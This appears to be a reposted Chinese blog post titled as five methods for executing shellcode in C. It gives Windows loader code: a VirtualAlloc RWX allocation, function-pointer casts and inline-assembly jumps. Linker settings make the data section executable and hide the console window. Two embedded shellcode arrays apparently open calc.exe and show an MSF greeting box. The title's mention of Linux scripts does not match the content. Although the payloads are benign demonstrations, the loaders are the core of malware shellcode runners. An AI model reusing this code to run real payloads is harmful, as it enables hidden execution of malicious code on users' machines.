c语言调用linux脚本,C语言执行shellcode的五种方法

小咪咪 2023-01-20 15:58 181阅读 0赞

//C语言执行shellcode的五种方法

\#include

//data段可读写

\#pragma comment(linker, "/section:.data,RWE")

//不显示窗口

\#pragma comment(linker,"/subsystem:\\"windows\\" /entry:\\"mainCRTStartup\\"")

\#pragma comment(linker, "/INCREMENTAL:NO")

//一段打开Windows计算器(calc.exe)的shellcode

unsigned char shellcode\_calc\[\] =

"\\xb8\\x82\\x0a\\x8d\\x38\\xd9\\xc6\\xd9\\x74\\x24\\xf4\\x5a\\x29\\xc9\\xb1\\x23"

"\\x31\\x42\\x12\\x83\\xea\\xfc\\x03\\xc0\\x04\\x6f\\xcd\\x38\\xf0\\x2b\\x2e\\xc0"

"\\x01\\x3f\\x6b\\xfc\\x8a\\x43\\x71\\x84\\x8d\\x54\\xf2\\x3b\\x96\\x21\\x5a\\xe3"

"\\xa7\\xde\\x2c\\x68\\x93\\xab\\xae\\x80\\xed\\x6b\\x29\\xf0\\x8a\\xac\\x3e\\x0f"

"\\x52\\xe6\\xb2\\x0e\\x96\\x1c\\x38\\x2b\\x42\\xc7\\xc5\\x3e\\x8f\\x8c\\x99\\xe4"

"\\x4e\\x78\\x43\\x6f\\x5c\\x35\\x07\\x30\\x41\\xc8\\xfc\\x45\\x65\\x41\\x03\\xb2"

"\\x1f\\x09\\x20\\x40\\xe3\\x83\\xe8\\x2c\\x68\\xa3\\xd8\\x29\\xae\\x5c\\x15\\xba"

"\\x6f\\x91\\xae\\xcc\\x73\\x04\\x3b\\x44\\x84\\xbd\\x35\\x1f\\x14\\xf1\\x46\\x1f"

"\\x15\\x79\\x2e\\x23\\x4a\\x4c\\x59\\x3b\\x22\\x27\\x5d\\x38\\x0a\\x4c\\xce\\x56"

"\\xf5\\x6b\\x0c\\xd5\\x61\\x14\\x2f\\x93\\x7c\\x73\\x2f\\x44\\xe3\\x1a\\xa3\\xe9"

"\\xe4";

unsigned char shellcode\[\] =

"\\xd9\\xeb\\x9b\\xd9\\x74\\x24\\xf4\\x31\\xd2\\xb2\\x77\\x31\\xc9\\x64\\x8b"

"\\x71\\x30\\x8b\\x76\\x0c\\x8b\\x76\\x1c\\x8b\\x46\\x08\\x8b\\x7e\\x20\\x8b"

"\\x36\\x38\\x4f\\x18\\x75\\xf3\\x59\\x01\\xd1\\xff\\xe1\\x60\\x8b\\x6c\\x24"

"\\x24\\x8b\\x45\\x3c\\x8b\\x54\\x28\\x78\\x01\\xea\\x8b\\x4a\\x18\\x8b\\x5a"

"\\x20\\x01\\xeb\\xe3\\x34\\x49\\x8b\\x34\\x8b\\x01\\xee\\x31\\xff\\x31\\xc0"

"\\xfc\\xac\\x84\\xc0\\x74\\x07\\xc1\\xcf\\x0d\\x01\\xc7\\xeb\\xf4\\x3b\\x7c"

"\\x24\\x28\\x75\\xe1\\x8b\\x5a\\x24\\x01\\xeb\\x66\\x8b\\x0c\\x4b\\x8b\\x5a"

"\\x1c\\x01\\xeb\\x8b\\x04\\x8b\\x01\\xe8\\x89\\x44\\x24\\x1c\\x61\\xc3\\xb2"

"\\x08\\x29\\xd4\\x89\\xe5\\x89\\xc2\\x68\\x8e\\x4e\\x0e\\xec\\x52\\xe8\\x9f"

"\\xff\\xff\\xff\\x89\\x45\\x04\\xbb\\x7e\\xd8\\xe2\\x73\\x87\\x1c\\x24\\x52"

"\\xe8\\x8e\\xff\\xff\\xff\\x89\\x45\\x08\\x68\\x6c\\x6c\\x20\\x41\\x68\\x33"

"\\x32\\x2e\\x64\\x68\\x75\\x73\\x65\\x72\\x88\\x5c\\x24\\x0a\\x89\\xe6\\x56"

"\\xff\\x55\\x04\\x89\\xc2\\x50\\xbb\\xa8\\xa2\\x4d\\xbc\\x87\\x1c\\x24\\x52"

"\\xe8\\x61\\xff\\xff\\xff\\x68\\x6f\\x78\\x58\\x20\\x68\\x61\\x67\\x65\\x42"

"\\x68\\x4d\\x65\\x73\\x73\\x31\\xdb\\x88\\x5c\\x24\\x0a\\x89\\xe3\\x68\\x58"

"\\x20\\x20\\x20\\x68\\x4d\\x53\\x46\\x21\\x68\\x72\\x6f\\x6d\\x20\\x68\\x6f"

"\\x2c\\x20\\x66\\x68\\x48\\x65\\x6c\\x6c\\x31\\xc9\\x88\\x4c\\x24\\x10\\x89"

"\\xe1\\x31\\xd2\\x52\\x53\\x51\\x52\\xff\\xd0\\x31\\xc0\\x50\\xff\\x55\\x08";

typedef void (\_\_stdcall \*CODE) ();

//http://rshell.blog.163.com/blog/static/41619170201110302937361/

//第一种方法

void RunShellCode\_1()

PVOID p = NULL;

if ((p = VirtualAlloc(NULL, sizeof(shellcode), MEM\_COMMIT | MEM\_RESERVE, PAGE\_EXECUTE\_READWRITE)) == NULL)

MessageBoxA(NULL, "申请内存失败", "提醒", MB\_OK);

if (!(memcpy(p, shellcode, sizeof(shellcode))))

MessageBoxA(NULL, "写内存失败", "提醒", MB\_OK);

CODE code =(CODE)p;

code();

//第二种方法

void RunShellCode\_2()

((void(\*)(void))&shellcode)();

//第三种方法

void RunShellCode\_3()

\_\_asm

lea eax, shellcode;

jmp eax;

//第四种方法

void RunShellCode\_4()

\_\_asm

mov eax, offset shellcode;

jmp eax;

//第五种方法

void RunShellCode\_5()

\_\_asm

mov eax, offset shellcode;

\_emit 0xFF;

\_emit 0xE0;

void main()

//RunShellCode\_1();

//RunShellCode\_2();

//RunShellCode\_3();

//RunShellCode\_4();

RunShellCode\_5();

c语言调用linux脚本,C语言执行shellcode的五种方法

发表评论取消回复

还没有评论，来说两句吧...

相关阅读

相关 C语言和C++语言之间的函数调用

相关 c语言最常用的排序方法是,C语言：三种排序方法

相关 c语言调用linux脚本,C语言执行shellcode的五种方法

相关 C/C++语言的几种取整方法

相关 C语言（五）

相关 python 执行shellcode_各种语言实现Shellcode加载(暂时两种)

相关【C语言】调用函数

相关 c#调用python脚本四种方法,从C＃执行Python脚本

相关 C语言调用C++库接口的方法概述

相关 C 语言函数调用